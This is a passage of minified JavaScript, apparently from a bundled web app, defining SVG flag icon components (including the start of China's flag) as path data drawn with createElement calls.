0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#E00025",d:"M0 3h16v6H0V3Z"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M5.167 5.52v.03h.945v-.03h1.323v.06h.888v-.06H9.65v.03h.945v-.03h.11v1.306h-5.7V5.52h.163Zm-.163 1.306h-.302v.249h.69v.005h-.996v.426h.996v.004H4.201v.375h7.36V7.51h-1.195v-.004h1.002V7.08h-1.002v-.005h.696v-.249h-.358v.008h-5.7v-.008Zm5.59-1.306v-.84c-.014 0-.024.02-.035.045-.018.037-.04.084-.091.084-.045 0-.042-.054-.015-.096.021-.039.048-.09.012-.189-.027.075-.093.099-.081.054a.247.247 0 0 1 .028-.062c.022-.04.04-.073.008-.157-.015.102-.081.099-.066.039a.405.405 0 0 1 .015-.045c.017-.042.03-.077-.006-.15-.027.111-.06.105-.06.036 0-.102 0-.21-.126-.249 0 0-.009-.09-.057-.09-.045 0-.054.09-.054.09-.126.038-.126.145-.126.242v.007c0 .069-.033.075-.06-.036-.036.073-.023.108-.006.15l.015.045c.015.06-.05.063-.066-.039-.033.084-.014.118.008.157.01.017.021.036.028.062.012.045-.054.021-.08-.054-.037.099-.01.15.011.189.024.042.03.096-.015.096-.05 0-.073-.046-.09-.082-.012-.024-.022-.044-.036-.044v.837h.945Zm-2.27 0h-.889v-.105c0-.046-.025-.068-.047-.089-.02-.017-.037-.034-.037-.061 0 0-.012-.09.012-.132.033.12.09.099.09.048 0-.039-.025-.077-.084-.166l-.015-.023c-.024-.033-.009-.138.021-.177.012.09.027.135.066.135.024 0 .042-.015.042-.06a.167.167 0 0 0-.033-.092c-.01-.016-.02-.032-.027-.052a.15.15 0 0 1 .033-.159l.007.042c.008.06.012.084.044.084.075-.025.012-.127-.013-.166L7.49 4.54c-.018-.033.03-.102.03-.102.024.081.03.087.06.078.036-.009.03-.06-.012-.102-.027-.03-.024-.069.006-.099.03.057.066.054.069.018L7.618 4.2h.033l-.012-.1h.477l-.012.1h.036l-.027.129c-.006.036.042.045.072-.015.03.03.033.072.006.099-.042.042-.048.093-.012.102.03.009.036 0 .06-.078 0 0 .045.045.03.102l-.004.007c-.024.039-.09.145-.014.167.032 0 .036-.024.044-.084l.007-.042a.15.15 0 0 1 .03.159c-.007.021-.018.039-.028.056-.016.026-.032.051-.032.088 0 .045.021.06.045.06.039 0 .054-.042.066-.135.03.039.045.144.021.18l-.025.037c-.052.076-.077.112-.077.149 0 .051.06.072.09-.048.027.042.015.132.015.132 0 .028-.017.044-.036.062-.022.02-.046.043-.048.088v.105Zm-3.157 0v-.84c.014 0 .024.02.035.045.018.037.04.084.091.084.045 0 .042-.054.015-.096-.021-.039-.048-.09-.012-.189.027.075.093.099.081.054-.007-.026-.017-.045-.028-.062-.022-.04-.04-.073-.008-.157.015.102.081.099.066.039a.397.397 0 0 0-.015-.045c-.017-.042-.03-.077.006-.15.027.111.06.105.06.036 0-.102 0-.21.126-.249 0 0 .01-.09.057-.09.045 0 .054.09.054.09.126.038.126.145.126.242v.007c0 .069.033.075.06-.036.036.073.023.108.006.15a.397.397 0 0 0-.015.045c-.015.06.051.063.066-.039.033.084.014.118-.008.157-.01.017-.021.036-.028.062-.012.045.054.021.081-.054.036.099.01.15-.012.189-.024.042-.03.096.015.096.05 0 .073-.046.09-.082.012-.024.022-.044.036-.044v.837h-.945ZM7.81 4.093s-.003-.123.07-.126c.068 0 .065.126.065.126H7.81Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M5.167 5.55h-.015l.015.015V5.55Zm.945 0v.015l.015-.015h-.015Zm1.323.03H7.42l.015.015V5.58Zm.888 0v.015l.015-.015h-.015Zm1.326-.03h-.015l.015.015V5.55Zm.945 0v.015l.015-.015h-.015Zm.11-.03h.015l-.015-.015v.015Zm-5.7 0v-.015l-.015.015h.015Zm-.302 1.306v-.015l-.015.015h.015Zm0 .249h-.015l.015.015v-.015Zm.69 0h.015l-.015-.015v.015Zm0 .005v.015l.015-.015h-.015Zm-.996 0v-.015l-.015.015h.015Zm0 .426h-.015l.015.015v-.015Zm.996 0h.015l-.015-.015v.015Zm0 .004v.015l.015-.015h-.015Zm-1.191 0v-.015l-.015.015h.015Zm0 .375h-.015l.015.015v-.015Zm7.36 0V7.9l.014-.015h-.015Zm0-.375h.014l-.015-.015v.015Zm-1.195 0h-.015l.015.015V7.51Zm0-.004V7.49l-.015.015h.015Zm1.002 0v.015l.015-.015h-.015Zm0-.426h.015l-.015-.015v.015Zm-1.002 0h-.015l.015.015V7.08Zm0-.005V7.06l-.015.015h.015Zm.696 0v.015l.015-.015h-.015Zm0-.249h.015l-.015-.015v.015Zm-.358.008v.015l.015-.015h-.015Zm-5.7 0H4.99l.015.015v-.015Zm5.59-2.154h.015l-.015-.015v.015Zm-.035.045.013.006-.013-.006Zm-.106-.012.013.008-.013-.008Zm.012-.189.014-.005h-.028l.014.005Zm-.081.054.014.004-.014-.004Zm.028-.062-.013-.008.013.008Zm.008-.157.014-.005-.029.003.015.002Zm-.066.039-.014-.004.014.004Zm.015-.045-.014-.005.014.005Zm-.006-.15.014-.007-.029.003.015.004Zm-.186-.213-.015.001.01.013.005-.014Zm-.111 0 .004.014.011-.013-.015-.001Zm-.126.242h.015-.015Zm-.06-.029.015-.004-.028-.003.013.007Zm-.006.15.014-.005-.014.005Zm.015.045.015-.004-.015.004Zm-.066-.039.015-.002-.029-.003.014.005Zm.008.157.013-.008-.013.008Zm.028.062-.014.004.014-.004Zm-.08-.054.013-.005h-.028l.014.005Zm.011.189-.013.007.013-.007Zm-.106.014-.013.006.013-.006Zm-.035-.044v-.015l-.015.015h.015Zm-2.261.643-.01.011.01-.01Zm-.037-.061h.015v-.002l-.015.002Zm.012-.132.015-.004-.028-.003.013.007Zm.006-.118-.012.009.012-.009Zm-.015-.023.013-.008-.013.008Zm.021-.177.015-.002-.027-.007.012.009Zm.075-.017.013-.008-.013.008Zm-.027-.052-.014.005.014-.005Zm.033-.159.015-.002-.026-.009.011.011Zm.007.042-.015.003.015-.003Zm0 0 .014-.002-.014.002Zm.044.084v.016l.005-.002-.005-.014Zm-.013-.166-.013.008.013-.008ZM7.49 4.54l-.013.007.013-.007Zm.03-.102.014-.004-.026-.005.012.009Zm.06.078L7.575 4.5l.004.015Zm-.012-.102-.011.01.011-.01Zm.006-.099.013-.007-.024-.004.011.011Zm.069.018.016.001-.001-.004-.015.003ZM7.618 4.2v-.015l-.015.018.015-.003Zm.033 0v.015l.015-.017-.015.002Zm-.012-.1v-.015l-.015.017.015-.002Zm.477 0 .015.002-.015-.017V4.1Zm-.012.1-.015-.002.015.017V4.2Zm.036 0 .015.003-.015-.018V4.2Zm-.027.129-.015-.003.015.003Zm.072-.015.01-.01-.023.003.013.007Zm.006.099-.01-.01.01.01Zm-.012.102.004-.014-.004.014Zm.06-.078.01-.01-.024.006.014.004Zm.03.102.013.008.002-.004-.015-.004Zm-.004.007.012.008-.012-.008Zm-.014.167-.004.015h.004v-.015Zm.044-.084.015.003-.015-.003Zm0 0-.014-.002.014.002Zm0 0 .015.003-.014-.003Zm.007-.042.011-.01-.026.008.015.002Zm.03.159-.014-.006v.001l.014.005Zm-.028.056.013.007-.013-.007Zm.08.013.01-.01-.026.008.015.002Zm.02.18.012.008-.012-.008Zm-.025.037.012.009-.012-.009Zm.013.101.013-.008-.027.004.014.004Zm.015.132-.015-.002v.002h.015Zm-.036.062-.01-.011.01.01Zm-.048.088h-.015.015ZM5.167 4.68v-.015l-.015.015h.015Zm.035.045.014-.007-.014.007Zm.106-.012-.013.007v.001l.013-.008Zm-.012-.189.014-.005h-.028l.014.005Zm.081.054-.014.004.014-.004Zm-.028-.062.013-.008-.013.008Zm-.008-.157.015-.002-.029-.003.014.005Zm.066.039.015-.004-.015.004Zm-.015-.045-.014.006.014-.006Zm.006-.15.015-.004-.028-.003.013.007Zm.186-.213.004.014.011-.013-.015-.001Zm.111 0-.015.001.01.013.005-.014Zm.126.242h-.015.015Zm0 .007h-.015.015Zm.06-.036.013-.007-.028.003.015.004Zm.006.15.014.006-.014-.006Zm-.015.045-.014-.004.014.004Zm.066-.039.014-.005-.029.003.015.002Zm-.008.157-.013-.008.013.008Zm-.028.062.015.004-.015-.004Zm.081-.054.014-.005H5.97l.014.005Zm-.012.189.013.007-.013-.007Zm.106.014-.014-.007.014.007Zm.035-.044h.015l-.015-.015v.015Zm1.767-.716v-.015.015Zm-.069.126h-.015l.015.015v-.015Zm.135 0v.015l.015-.015h-.015ZM5.182 5.55v-.03h-.03v.03h.03Zm.93-.015h-.945v.03h.945v-.03Zm-.015-.015v.03h.03v-.03h-.03Zm1.338-.015H6.112v.03h1.323v-.03Zm.015.075v-.06h-.03v.06h.03Zm.873-.015h-.888v.03h.888v-.03Zm-.015-.045v.06h.03v-.06h-.03Zm1.341-.015H8.323v.03H9.65v-.03Zm.015.045v-.03h-.03v.03h.03Zm.93-.015h-.945v.03h.945v-.03Zm-.015-.015v.03h.03v-.03h-.03Zm.125-.015h-.11v.03h.11v-.03Zm.015 1.321V5.52h-.03v1.306h.03Zm-.015-.015h-5.7v.03h5.7v-.03ZM4.989 5.52v1.306h.03V5.52h-.03Zm.178-.015h-.163v.03h.163v-.03Zm-.163 1.306h-.302v.03h.302v-.03Zm-.317.015v.249h.03v-.249h-.03Zm.015.264h.69v-.03h-.69v.03Zm.675-.015v.005h.03v-.005h-.03Zm.015-.01h-.996v.03h.996v-.03Zm-1.011.015v.426h.03V7.08h-.03Zm.015.44h.996v-.03h-.996v.03Zm.981-.014v.004h.03v-.004h-.03Zm.015-.011H4.201v.03h1.191v-.03Zm-1.206.015v.375h.03V7.51h-.03Zm.015.39h7.36v-.03H4.2v.03Zm7.374-.015V7.51h-.03v.375h.03Zm-.015-.39h-1.194v.03h1.194v-.03Zm-1.179.015v-.004h-.03v.004h.03Zm-.015.01h1.002v-.03h-1.002v.03Zm1.017-.014V7.08h-.03v.426h.03Zm-.015-.441h-1.002v.03h1.002v-.03Zm-.987.015v-.005h-.03v.005h.03Zm-.015.01h.696v-.03h-.696v.03Zm.711-.015v-.249h-.03v.249h.03Zm-.015-.264h-.358v.03h.358v-.03Zm-.343.023v-.008h-.03v.008h.03Zm-5.715.015h5.7v-.03h-5.7v.03Zm-.015-.023v.008h.03v-.008h-.03Zm5.59-2.146v.84h.03v-.84h-.03Zm-.007.051a.224.224 0 0 1 .016-.03.025.025 0 0 1 .005-.005l.001-.001v-.03c-.015 0-.025.01-.031.02a.247.247 0 0 0-.018.033l.027.013Zm-.104.093c.03 0 .053-.015.07-.033.015-.019.026-.042.034-.06l-.027-.013a.235.235 0 0 1-.03.053.059.059 0 0 1-.047.023v.03Zm-.028-.12a.125.125 0 0 0-.021.074c0 .012.004.023.013.032.01.01.022.014.036.014v-.03c-.008 0-.012-.002-.014-.005-.003-.002-.005-.006-.006-.013a.095.095 0 0 1 .018-.055l-.026-.016Zm.011-.175a.216.216 0 0 1 .015.11.205.205 0 0 1-.026.067l.026.014a.235.235 0 0 0 .03-.077.243.243 0 0 0-.017-.124l-.028.01Zm-.081.045c-.004.013-.004.03.01.038a.03.03 0 0 0 .02.003.055.055 0 0 0 .017-.006.148.148 0 0 0 .062-.08l-.028-.01a.118.118 0 0 1-.048.064.024.024 0 0 1-.008.003c-.001 0 0 0 0 0 .005.003 0 .006.004-.004l-.03-.008Zm.029-.066c-.01.018-.022.039-.03.066l.03.008a.228.228 0 0 1 .026-.059l-.026-.015Zm.007-.144c.016.041.019.068.016.088a.155.155 0 0 1-.023.056l.026.015c.01-.02.022-.04.026-.067a.202.202 0 0 0-.017-.102l-.028.01Zm-.067.03c-.004.017-.003.033.004.045.004.006.01.011.016.014a.033.033 0 0 0 .02 0 .062.062 0 0 0 .035-.029.168.168 0 0 0 .02-.063l-.029-.004a.137.137 0 0 1-.016.052c-.007.011-.014.015-.017.016h-.002l-.001-.001c-.002-.003-.004-.01 0-.022l-.03-.008Zm.016-.046a.425.425 0 0 0-.016.046l.03.008c.004-.016.009-.03.014-.043l-.028-.011Zm-.005-.138c.017.035.022.059.021.079a.18.18 0 0 1-.016.059l.028.01c.009-.02.017-.042.018-.068a.191.191 0 0 0-.024-.094l-.027.014Zm-.062.029c0 .018.002.034.007.045a.035.035 0 0 0 .011.015.024.024 0 0 0 .022.004.037.037 0 0 0 .016-.012.092.092 0 0 0 .012-.02.324.324 0 0 0 .022-.064l-.03-.008a.291.291 0 0 1-.02.06.062.062 0 0 1-.007.013l-.003.002.006.001-.002-.003a.095.095 0 0 1-.004-.033h-.03Zm-.115-.235a.141.141 0 0 1 .1.092.443.443 0 0 1 .015.143h.03c0-.05 0-.106-.017-.153a.17.17 0 0 0-.12-.11l-.008.028Zm-.053-.089c.007 0 .013.003.018.01.006.006.01.015.014.025a.19.19 0 0 1 .01.04v.001l.015-.001.015-.002v-.004l-.002-.01a.215.215 0 0 0-.01-.034.11.11 0 0 0-.02-.036.054.054 0 0 0-.04-.019v.03Zm-.054.075.015.001v-.003a.233.233 0 0 1 .01-.038.084.084 0 0 1 .013-.026c.005-.006.01-.009.016-.009v-.03a.05.05 0 0 0-.039.02.113.113 0 0 0-.019.035.219.219 0 0 0-.01.044v.004l.014.002Zm-.111.242c0-.049 0-.097.015-.138.014-.04.042-.072.1-.09l-.008-.028a.17.17 0 0 0-.12.108c-.017.047-.017.1-.017.148h.03Zm0 .007v-.007h-.03v.007h.03Zm-.09-.032c.007.028.015.05.022.065a.096.096 0 0 0 .012.019c.005.005.01.01.017.012a.024.024 0 0 0 .021-.004.036.036 0 0 0 .011-.015.123.123 0 0 0 .007-.045h-.03a.095.095 0 0 1-.004.033l-.002.003a.007.007 0 0 1 .006 0l-.003-.003a.066.066 0 0 1-.008-.013.298.298 0 0 1-.02-.06l-.029.008Zm.023.14a.178.178 0 0 1-.016-.058c0-.02.004-.044.021-.08l-.026-.013a.19.19 0 0 0-.025.094c.001.026.01.048.018.069l.028-.011Zm.016.047-.016-.046-.028.01.015.044.029-.008Zm-.096-.033a.168.168 0 0 0 .021.063c.01.015.021.026.034.03a.033.033 0 0 0 .021-.001.032.032 0 0 0 .016-.014c.007-.012.008-.028.004-.045l-.03.008c.004.013.002.02 0 .022H9.87c-.003 0-.01-.004-.016-.015a.138.138 0 0 1-.017-.052l-.03.004Zm.036.147a.155.155 0 0 1-.023-.056.173.173 0 0 1 .016-.088l-.028-.01a.202.202 0 0 0-.017.102c.004.027.015.048.026.067l.026-.015Zm.03.066c-.008-.027-.02-.048-.03-.066l-.026.015a.23.23 0 0 1 .027.059l.029-.008Zm-.11-.045c.014.04.04.068.062.08a.054.054 0 0 0 .018.006.03.03 0 0 0 .019-.003c.014-.008.014-.025.01-.038l-.028.008c.002.01-.002.007.003.004.001 0 .002 0 0 0a.025.025 0 0 1-.008-.003.119.119 0 0 1-.048-.064l-.028.01Zm.04.177a.206.206 0 0 1-.027-.067.215.215 0 0 1 .015-.11l-.028-.01a.245.245 0 0 0-.016.124.235.235 0 0 0 .029.077l.026-.014Zm-.029.118a.047.047 0 0 0 .036-.014.051.051 0 0 0 .012-.032.139.139 0 0 0-.02-.072l-.026.014a.11.11 0 0 1 .016.056c0 .007-.002.011-.004.014-.002.002-.006.004-.014.004v.03Zm-.104-.09c.009.017.02.04.035.057a.09.09 0 0 0 .07.033v-.03a.06.06 0 0 1-.047-.022.229.229 0 0 1-.031-.052l-.027.013Zm-.022-.036h.001l.005.007c.005.006.01.016.016.028l.027-.013-.018-.033c-.006-.009-.016-.019-.03-.019v.03Zm.015.822v-.837h-.03v.837h.03Zm.93-.015h-.945v.03h.945v-.03Zm-3.159.03h.888v-.03h-.888v.03Zm-.015-.12v.105h.03v-.105h-.03Zm-.042-.078c.022.02.042.04.042.078h.03c0-.053-.03-.08-.052-.1l-.02.022Zm-.042-.072c0 .035.023.055.042.072l.02-.022c-.02-.018-.032-.03-.032-.05h-.03Zm.014-.14a.129.129 0 0 0-.014.044.3.3 0 0 0-.001.083.435.435 0 0 0 .001.014v.001l.015-.002.015-.002a.137.137 0 0 1-.002-.014.422.422 0 0 1 .002-.075.1.1 0 0 1 .01-.034l-.026-.014Zm.088.056c0 .01-.003.017-.006.021s-.006.005-.009.004c-.004 0-.01-.004-.02-.016a.197.197 0 0 1-.025-.061l-.03.008a.225.225 0 0 0 .03.07c.012.016.025.026.04.029a.039.039 0 0 0 .037-.015.064.064 0 0 0 .013-.04h-.03Zm-.081-.157c.03.044.05.075.063.1a.121.121 0 0 1 .018.057h.03a.15.15 0 0 0-.022-.071c-.014-.027-.035-.06-.064-.103l-.025.017ZM7.342 5l.015.024.025-.017-.015-.023L7.342 5Zm.021-.194a.22.22 0 0 0-.034.098.243.243 0 0 0 0 .053.09.09 0 0 0 .013.044l.024-.018a.062.062 0 0 1-.008-.029.214.214 0 0 1 .001-.046.192.192 0 0 1 .028-.084l-.024-.018Zm.078.129a.024.024 0 0 1-.016-.005.052.052 0 0 1-.013-.02.38.38 0 0 1-.022-.097l-.03.004c.006.045.013.08.024.105a.08.08 0 0 0 .023.031c.01.008.021.012.034.012v-.03Zm.027-.045c0 .02-.004.032-.009.038-.004.004-.01.007-.018.007v.03c.015 0 .03-.005.042-.019.01-.013.015-.032.015-.056h-.03Zm-.03-.084c.016.028.03.05.03.084h.03c0-.043-.018-.072-.035-.1l-.026.016Zm-.029-.055c.008.021.019.039.028.055l.026-.016a.31.31 0 0 1-.026-.05l-.028.011Zm.036-.175a.165.165 0 0 0-.036.175l.028-.01a.135.135 0 0 1 .03-.143l-.022-.022Zm.032.051a2.176 2.176 0 0 0-.006-.042l-.03.004.007.043.03-.005Zm0 0-.03.005.03-.005Zm.03.071c-.006 0-.01-.001-.011-.002-.002-.002-.004-.004-.006-.009a.273.273 0 0 1-.013-.06l-.03.005c.005.028.008.052.015.067.004.009.01.017.018.022a.05.05 0 0 0 .027.007v-.03Zm-.026-.143c.013.02.034.054.042.085a.07.07 0 0 1 .003.038c-.003.008-.01.016-.024.02l.01.03a.062.062 0 0 0 .042-.041.098.098 0 0 0-.002-.056c-.01-.035-.033-.072-.045-.092l-.026.016Zm-.005-.008.005.008.026-.015-.005-.009-.026.016Zm.043-.11-.012-.009v.001a.144.144 0 0 0-.008.012.29.29 0 0 0-.015.028.16.16 0 0 0-.013.038.06.06 0 0 0 .005.04l.026-.015c-.002-.004-.003-.01-.001-.02a.13.13 0 0 1 .01-.03.258.258 0 0 1 .019-.034v-.002h.001l-.012-.009Zm.056.064a.037.037 0 0 1-.013.002L7.559 4.5a.76.76 0 0 1-.025-.068l-.03.01.016.048a.11.11 0 0 0 .015.029.034.034 0 0 0 .024.014.063.063 0 0 0 .024-.004l-.008-.028Zm-.019-.077a.1.1 0 0 1 .031.054c.001.007 0 .013-.002.016-.001.003-.004.005-.01.006l.008.03a.044.044 0 0 0 .028-.021.055.055 0 0 0 .006-.034.13.13 0 0 0-.04-.073l-.02.022Zm.006-.12a.093.093 0 0 0-.028.059.082.082 0 0 0 .022.06l.022-.02a.052.052 0 0 1-.014-.039c0-.013.007-.027.02-.04l-.022-.02Zm.065.027c0 .007-.002.01-.004.011l-.003.001c-.006 0-.02-.009-.034-.036l-.026.014c.015.03.035.049.056.052a.033.033 0 0 0 .03-.01.048.048 0 0 0 .011-.03l-.03-.002Zm-.024-.128.024.132.03-.006-.024-.132-.03.006Zm.048-.018h-.033v.03h.033v-.03Zm-.027-.083.012.1.03-.004-.012-.1-.03.004Zm.492-.017h-.477v.03h.477v-.03Zm.003.117.012-.1-.03-.004-.012.1.03.004Zm.021-.017h-.036v.03h.036v-.03Zm-.012.147.027-.129-.03-.006-.027.129.03.006Zm.044-.025c-.014.028-.03.035-.037.036-.004 0-.005-.001-.006-.002 0-.001-.002-.004-.001-.01l-.03-.004a.04.04 0 0 0 .008.033c.008.009.019.013.03.012.023 0 .046-.019.062-.051l-.026-.014Zm.03.117c.034-.034.028-.086-.006-.12l-.022.02c.026.026.026.058.006.078l.022.022Zm-.02.076c-.005 0-.008-.003-.01-.006a.025.025 0 0 1-.001-.016.1.1 0 0 1 .03-.054l-.02-.022a.13.13 0 0 0-.04.073.055.055 0 0 0 .006.034c.006.01.016.017.028.02l.008-.029Zm.043-.067a.821.821 0 0 1-.026.067c-.002.003-.003.003-.004.003L8.183 4.5l-.008.028a.058.058 0 0 0 .025.003.035.035 0 0 0 .023-.014.117.117 0 0 0 .015-.03.851.851 0 0 0 .015-.047l-.028-.008Zm.059.11a.116.116 0 0 0-.011-.083.153.153 0 0 0-.023-.033l-.01.01-.012.01.002.002a.122.122 0 0 1 .017.024.086.086 0 0 1 .008.062l.029.008Zm-.007.011.005-.007-.026-.016-.004.007.025.016Zm-.022.145c-.014-.005-.02-.012-.023-.02a.071.071 0 0 1 .003-.04.38.38 0 0 1 .042-.085l-.025-.016c-.012.02-.035.057-.046.094a.1.1 0 0 0-.002.055c.005.02.02.034.043.04l.008-.028Zm.026-.072a.272.272 0 0 1-.013.06c-.002.005-.004.007-.006.009-.002 0-.005.002-.011.002v.03a.05.05 0 0 0 .027-.007.047.047 0 0 0 .018-.022c.007-.015.01-.039.014-.067l-.03-.005Zm0 0 .03.004-.03-.004Zm0 0 .03.005-.03-.005Zm.006-.042a2.17 2.17 0 0 0-.006.042l.03.005a2.1 2.1 0 0 1 .006-.043l-.03-.004Zm.059.167a.165.165 0 0 0-.033-.175l-.022.02a.135.135 0 0 1 .027.143l.028.012Zm-.03.057c.011-.016.023-.035.03-.058l-.028-.01a.251.251 0 0 1-.027.053l.026.015Zm-.029.081c0-.032.013-.054.03-.08l-.026-.016c-.016.026-.034.055-.034.096h.03Zm.03.045c-.009 0-.015-.003-.02-.008-.005-.006-.01-.017-.01-.037h-.03c0 .025.006.044.017.057a.055.055 0 0 0 .043.018v-.03Zm.051-.122a.372.372 0 0 1-.021.098.048.048 0 0 1-.014.02.025.025 0 0 1-.016.004v.03a.055.055 0 0 0 .034-.011.078.078 0 0 0 .023-.03.397.397 0 0 0 .024-.107l-.03-.004Zm.049.19a.099.099 0 0 0 .013-.044.25.25 0 0 0-.001-.055.219.219 0 0 0-.034-.098l-.024.018c.013.017.024.05.028.084a.221.221 0 0 1 .001.048.07.07 0 0 1-.008.03l.025.017Zm-.026.038.025-.038-.024-.016-.026.037.025.017Zm-.074.14a.11.11 0 0 1 .017-.052c.012-.023.031-.05.057-.088l-.025-.017c-.025.037-.045.066-.058.09a.138.138 0 0 0-.02.067h.029Zm.06-.052a.186.186 0 0 1-.024.06c-.009.013-.016.017-.02.017-.003.001-.006 0-.01-.004a.033.033 0 0 1-.006-.021h-.03c0 .016.005.03.013.04a.04.04 0 0 0 .038.015c.015-.003.029-.013.04-.03a.214.214 0 0 0 .029-.07l-.03-.007Zm.03.136.015.002v-.001a.312.312 0 0 0 .003-.051.18.18 0 0 0-.02-.09l-.026.016a.153.153 0 0 1 .016.074.383.383 0 0 1-.002.044v.003a.052.052 0 0 1 0 .001l.014.002Zm-.026.073c.018-.017.041-.038.041-.073h-.03c0 .02-.012.032-.031.05l.02.023Zm-.043.078c.001-.04.021-.058.043-.078l-.02-.022c-.023.02-.051.047-.053.098l.03.002Zm0 .104v-.105h-.03v.105h.03Zm-3.186-.84v.84h.03v-.84h-.03Zm.064.038c-.006-.012-.011-.024-.018-.033-.006-.01-.016-.02-.031-.02v.03h.001l.005.007c.005.007.01.016.016.029l.027-.013Zm.077.076a.059.059 0 0 1-.046-.023.236.236 0 0 1-.031-.053l-.027.013c.008.018.02.041.035.06a.088.088 0 0 0 .069.033v-.03Zm.002-.073c.013.02.019.04.018.055-.001.007-.003.01-.006.013-.002.003-.006.005-.014.005v.03a.049.049 0 0 0 .036-.014.051.051 0 0 0 .014-.032.125.125 0 0 0-.022-.073l-.026.016Zm-.013-.202a.245.245 0 0 0-.016.124.235.235 0 0 0 .029.077l.026-.014a.206.206 0 0 1-.026-.067.215.215 0 0 1 .015-.11l-.028-.01Zm.08.063c.003.01 0 .007.004.004.001 0 .002 0 0 0a.025.025 0 0 1-.008-.003.119.119 0 0 1-.048-.064l-.028.01c.014.04.04.068.062.08a.054.054 0 0 0 .018.006.03.03 0 0 0 .019-.003c.014-.008.014-.025.01-.038l-.028.008Zm-.026-.059a.23.23 0 0 1 .027.059l.029-.008c-.008-.027-.02-.048-.03-.066l-.026.015Zm-.009-.17a.202.202 0 0 0-.017.103c.004.027.015.048.026.067l.026-.015a.155.155 0 0 1-.023-.056.173.173 0 0 1 .016-.088l-.028-.01Zm.066.049c.003.013 0 .02 0 .022h-.004c-.003 0-.01-.004-.016-.015a.138.138 0 0 1-.017-.052l-.03.004a.168.168 0 0 0 .021.063c.01.015.021.026.034.03a.033.033 0 0 0 .021-.001.032.032 0 0 0 .016-.014c.007-.012.008-.028.004-.045l-.03.008Zm-.015-.043.015.043.029-.008-.016-.046-.028.01Zm.007-.163a.19.19 0 0 0-.025.094c.001.026.01.048.018.069l.028-.011a.178.178 0 0 1-.016-.06c0-.02.004-.044.021-.078l-.026-.014Zm.058.043a.095.095 0 0 1-.004.033l-.002.003a.007.007 0 0 1 .006 0l-.003-.003a.066.066 0 0 1-.008-.013.298.298 0 0 1-.02-.06l-.029.008c.007.028.015.05.022.065a.096.096 0 0 0 .012.019c.005.005.01.01.017.012a.024.024 0 0 0 .021-.004.036.036 0 0 0 .011-.015.123.123 0 0 0 .007-.045h-.03Zm.137-.263a.171.171 0 0 0-.12.11c-.017.047-.017.103-.017.153h.03c0-.052 0-.101.015-.143.014-.04.042-.074.1-.092l-.008-.028Zm.061-.091a.053.053 0 0 0-.04.019.11.11 0 0 0-.02.036.213.213 0 0 0-.012.047v.001a2.735 2.735 0 0 0 .03.003v-.003a.187.187 0 0 1 .01-.038.082.082 0 0 1 .014-.026c.006-.006.011-.009.018-.009v-.03Zm.054.105.015-.002a.225.225 0 0 0-.01-.048.113.113 0 0 0-.02-.036.05.05 0 0 0-.039-.019v.03c.006 0 .01.003.016.009.006.006.01.016.014.026a.197.197 0 0 1 .009.038v.003l.015-.001Zm.141.242c0-.048 0-.101-.017-.148a.17.17 0 0 0-.12-.108l-.008.028c.058.018.086.05.1.09.015.04.015.09.015.138h.03Zm0 .007v-.007h-.03v.007h.03Zm.03-.04a.297.297 0 0 1-.02.06.066.066 0 0 1-.007.013l-.003.002.006.001-.002-.003a.095.095 0 0 1-.004-.033h-.03c0 .018.002.034.007.045a.036.036 0 0 0 .011.015.024.024 0 0 0 .022.004.037.037 0 0 0 .016-.012.096.096 0 0 0 .012-.02.326.326 0 0 0 .022-.064l-.03-.008Zm.035.16c.008-.021.017-.043.018-.07a.19.19 0 0 0-.025-.093l-.026.014c.017.034.022.059.021.079 0 .02-.007.037-.016.059l.028.01Zm-.014.043a.386.386 0 0 1 .014-.043l-.028-.011-.015.046.029.008Zm.036-.045a.138.138 0 0 1-.016.052c-.007.011-.014.015-.017.016h-.002l-.001-.001c-.002-.003-.004-.01 0-.022l-.03-.008c-.004.017-.003.033.004.045.004.006.01.011.016.014a.033.033 0 0 0 .02 0 .062.062 0 0 0 .035-.029.168.168 0 0 0 .02-.063l-.029-.004Zm.02.166c.01-.02.022-.04.026-.067a.202.202 0 0 0-.017-.102l-.028.01c.016.041.019.068.016.088a.155.155 0 0 1-.023.056l.026.015Zm-.026.059a.23.23 0 0 1 .026-.059l-.026-.015c-.01.018-.022.039-.03.066l.03.008Zm.052-.063a.119.119 0 0 1-.048.064.025.025 0 0 1-.008.003c-.001 0 0 0 0 0 .005.003 0 .006.004-.004l-.03-.008c-.003.013-.003.03.011.038a.03.03 0 0 0 .02.003.054.054 0 0 0 .017-.006.148.148 0 0 0 .062-.08l-.028-.01Zm.015.201a.235.235 0 0 0 .03-.077.245.245 0 0 0-.017-.124l-.028.01c.017.048.019.083.015.11a.206.206 0 0 1-.026.067l.026.014Zm.002.074c-.008 0-.012-.002-.014-.004-.002-.003-.004-.007-.004-.014a.11.11 0 0 1 .016-.056l-.026-.014a.139.139 0 0 0-.02.072c0 .011.004.023.012.032.01.01.022.014.036.014v-.03Zm.077-.074a.229.229 0 0 1-.03.052.06.06 0 0 1-.047.022v.03a.09.09 0 0 0 .07-.033c.015-.018.026-.04.034-.058l-.027-.013Zm.05-.052c-.016 0-.026.01-.032.02-.006.008-.012.02-.018.032l.027.013a.217.217 0 0 1 .016-.028.026.026 0 0 1 .005-.006v-.001h.001v-.03Zm.014.852v-.837h-.03v.837h.03Zm-.96.015h.945v-.03h-.945v.03Zm2.711-1.583a.07.07 0 0 0-.052.026.13.13 0 0 0-.023.05.252.252 0 0 0-.008.06v.005h.03v-.001a.177.177 0 0 1 0-.017c.001-.011.003-.026.007-.04a.1.1 0 0 1 .017-.038.04.04 0 0 1 .03-.015v-.03Zm.067.141h.015v-.006a.294.294 0 0 0-.008-.06.13.13 0 0 0-.022-.05.064.064 0 0 0-.05-.025v.03c.01 0 .02.005.027.014a.1.1 0 0 1 .016.038.237.237 0 0 1 .007.058l.015.001Zm-.135.015h.135v-.03H7.81v.03Z"})),Cl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CN_-_China_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CN_-_China_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M3.557 4.878 1.61 6.403l.744-2.307-1.299-1.2 